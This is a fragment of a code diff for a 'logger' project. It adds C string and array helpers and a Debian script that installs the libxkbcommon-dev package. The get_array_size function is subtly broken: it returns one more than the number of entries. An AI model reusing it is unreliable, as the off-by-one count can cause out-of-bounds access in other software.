+    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+        free(tab[ctr]);
+    free(tab);
+}
+
+char *remove_repeating_whitespaces(char *s)
+{
+    size_t i = 0;
+    size_t x = 0 ;
+
+    if (!s || !(*s))
+        return NULL;
+
+    for(; s[i]; ++i)
+        if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
+            s[x++] = s[i];
+
+    s[x] = '\0';
+    return s;
+}
+
+size_t get_array_size(uint8_t **array)
+{
+    size_t ctr = 0;
+
+    if (!array)
+        return 0;
+    while (array[ctr++]);
+    return ctr;
+}
diff --git a/logger/utils/install-deps.sh b/logger/utils/install-deps.sh
@@ -0,0 +1,23 @@
+#!/bin/env bash
+
+#
+# install the dev dependencies to
+# compile this program
+#
+# assumes you are running a debian-based distro
+# if this is not what you use, you are welcome to
+# change the script for your needs :)~
+#
+
+
+set -euo pipefail
+
+
+# install using APT
+install_apt () {
+    sudo apt install -y \
+        libxkbcommon-dev
+}
+
+
+install_apt